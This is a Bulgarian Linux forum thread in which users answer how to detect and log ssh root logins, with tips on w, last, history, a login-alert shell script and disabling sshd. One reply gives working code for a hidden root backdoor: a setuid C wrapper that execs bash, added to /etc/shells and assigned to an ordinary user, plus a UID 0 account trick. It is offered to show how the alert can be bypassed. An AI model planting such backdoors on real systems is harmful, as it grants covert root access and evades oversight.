Автор Тема: Как да рабера, ако някой се е логнал през ssh?  (Прочетена 2136 пъти)

plamen_t

  • Напреднали
  • *****
  • Публикации: 170
    • Профил
Със Slackware11 съм и съм отворил ssh порта. Root паролата освен мен я знаят още няколко човека. Интересува ме има ли начин, ако някой се логне през ssh-то аз да мога веднага да рабера, че се е логнал. Имам предвид нещо като система за известяване.
Активен

n_antonov

  • Напреднали
  • *****
  • Публикации: 1185
    • Профил
    • WWW
w
who
Активен

-------------------------------------------------------------------------
./debian/rules

growchie

  • Напреднали
  • *****
  • Публикации: 623
    • Профил
Освен това може да видиш и last лога. Там ще видиш кой, кога, от къде и колко.
Дребен съвет. ЗАБРАНИ ROOT LOGINS през ssh. Направи на хората потребителски сметки и да си бачкат пред su или sudo най-добре.
Активен

VladSun

  • Напреднали
  • *****
  • Публикации: 2166
    • Профил
За такива нужди съм правил и едно скриптче:
Примерен код

root@host:~# cat .bash_profile

ip=`echo $SSH_CLIENT | cut -d" " -f1`

if [ "$ip" != "192.168.1.1" ];
then
    for i in `w | grep root | awk '{print $2}'`; do
        echo "*** ROOT Login from $ip ***" > /dev/$i
        echo > /dev/$i
    done
fi



192.168.1.1 e IP-то от което аз влизам - за да не ме известява '<img'>
Това е само за конзола обаче '<img'>
Активен

KISS Principle ( Keep-It-Short-and-Simple )
http://openfmi.net/projects/flattc/
Има 10 вида хора на този свят - разбиращи двоичния код и тези, които не го разбират :P

plamen_t

  • Напреднали
  • *****
  • Публикации: 170
    • Профил
10x VladSun

Точно такова нещо исках и аз. А то може да се направи вместо echo "Root login" да използва kdialog --msgbox "Root login".
Активен

ZERG

  • Напреднали
  • *****
  • Публикации: 104
    • Профил
//Само уточнение !

Човека искаше начин да го известява автоматично не всеки път да пише who '<img'>.
Активен

I hate control I use Linux
Slackware INC
Човек се учи докато е жив
Дай ми здрав ритъм,торба с трева и около мен да се върти най-красивата жена
I love Marie Marie Fredriksson !

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Кой къде пише who?

Идеята на VladSun си е много добра според мен. Единственият проблем е че не може да се използва за потребители различни от root защото няма да имат право да пишат в root-ските /dev/ttyX, дори и да имат такъв .bash_profile в home директорията, той няма да сработи. Ако писането в /dev/ttyX се замени с /usr/bin/write, който принципно е suid-нат, тази грижа ще отпадне.

Друго нещо за което трябва да се внимава е че не е много трудно да се заобиколи. След като имаш root достъп, най-лесното нещо е да създадеш един потребител, да му набиеш директно в passwd UID=0 и да си се логваш с него, заобикаляйки .bash_profile за root. За да не изглежда толкова съмнително, можеш да си наблъскаш suid-нат bash в /etc/shells с не много съмнително име (да речем /usr/bin/esh) и да го сложиш като shell за потребителя в /etc/passwd, така ще избегнеш странно изглеждащ потребител с uid 0. И всеки случай щом си се доверил на други хора да имат административен достъп дотам се очаква че те няма да са толкова палави потребители, нали '<img'>
Активен

"Knowledge is power" - France is Bacon

gat3way

  • Напреднали
  • *****
  • Публикации: 6050
  • Relentless troll
    • Профил
    • WWW
Хм, ся проверих, малко по-сложно ще стане, при мен абсолютно всички шел-ове си сдават suid привилегиите. Което обаче е тъпо измислено, просто ще exec-нем един от тях с root права:

Цитат

cat /bin/dsh.c
#include <unistd.h>
void main()
{
setuid(0);seteuid(0);execl("/bin/bash", "", 0);
}

cc -o /bin/dsh /bin/dsh.c
...
chmod u+s /bin/dsh
echo "/bin/dsh" >> /etc/shells


Воала...после дай за шел /bin/dsh на който и да е потребител без руут-ски права и си влиза като руут '<img'>
Активен

"Knowledge is power" - France is Bacon

plamen_t

  • Напреднали
  • *****
  • Публикации: 170
    • Профил
Само още малко по темата.
Има ли начин след като съм разбрал, че някой се е логнал през ssh-то, в някакъв файл да се записават всички команди, които е изпълнил. Т.е. да може да се разбере точно какво е правил след като се е логнал.
Активен

n_antonov

  • Напреднали
  • *****
  • Публикации: 1185
    • Профил
    • WWW
Има начин, но имай предвид, че това отнема много ресурси и не става с разни shell скриптчета. Можеш да го реализираш например с нещо като RSBAC или собственоръчно да си напишеш kernel модул, който да го прави.
Активен

-------------------------------------------------------------------------
./debian/rules

George Andonov

  • Напреднали
  • *****
  • Публикации: 261
  • Distribution: Ubuntu
    • Профил
Цитат (plamen_t @ Дек. 10 2006,18:32)
... Има ли начин след като съм разбрал, че някой се е логнал през ssh-то, в някакъв файл да се записават всички команди, които е изпълнил. ....

Опитай с history.
Активен

_NetCutter_

  • Напреднали
  • *****
  • Публикации: 513
    • Профил
А как мога да забраня достъпа до ssh?
Щото наскоро ми кракнаха паса и се чудя дали не е било през него . ..
Но и все пак ми е интересно, дали може без ънинсталването му.
Активен

Linux - Connecting People!

SRG

  • Напреднали
  • *****
  • Публикации: 110
    • Профил
    • WWW
Направи така че при стартиране да не се стартира sshd,а ако ще го ползваш и искаш да го подсигуриш има доста теми тук за това как да го направиш.



Активен

Jabber:sergos1@jabber.org

George Andonov

  • Напреднали
  • *****
  • Публикации: 261
  • Distribution: Ubuntu
    • Профил
Цитат (_NetCutter_ @ Дек. 11 2006,15:51)
А как мога да забраня достъпа до ssh?
 . ..
Но и все пак ми е интересно, дали може без ънинсталването му.

SSH сървърът не е инсталиран по подразбиране. За да го инсталираш трябва да добавиш пакет openssh-server.

1. Ако си добавил пакета, но не ти трябва такава функционалност:
 - деинсталирай пакета.

2. Ако искаш временно да спреш услугата (до следващият рестарт на системата):
 - /etc/init.d/ssh stop

3. Спиране на услугата:
 - в System -> Administration -> Services махаш отметката на Remote shell server. Всъщност това те съветвам да направиш!!!



Активен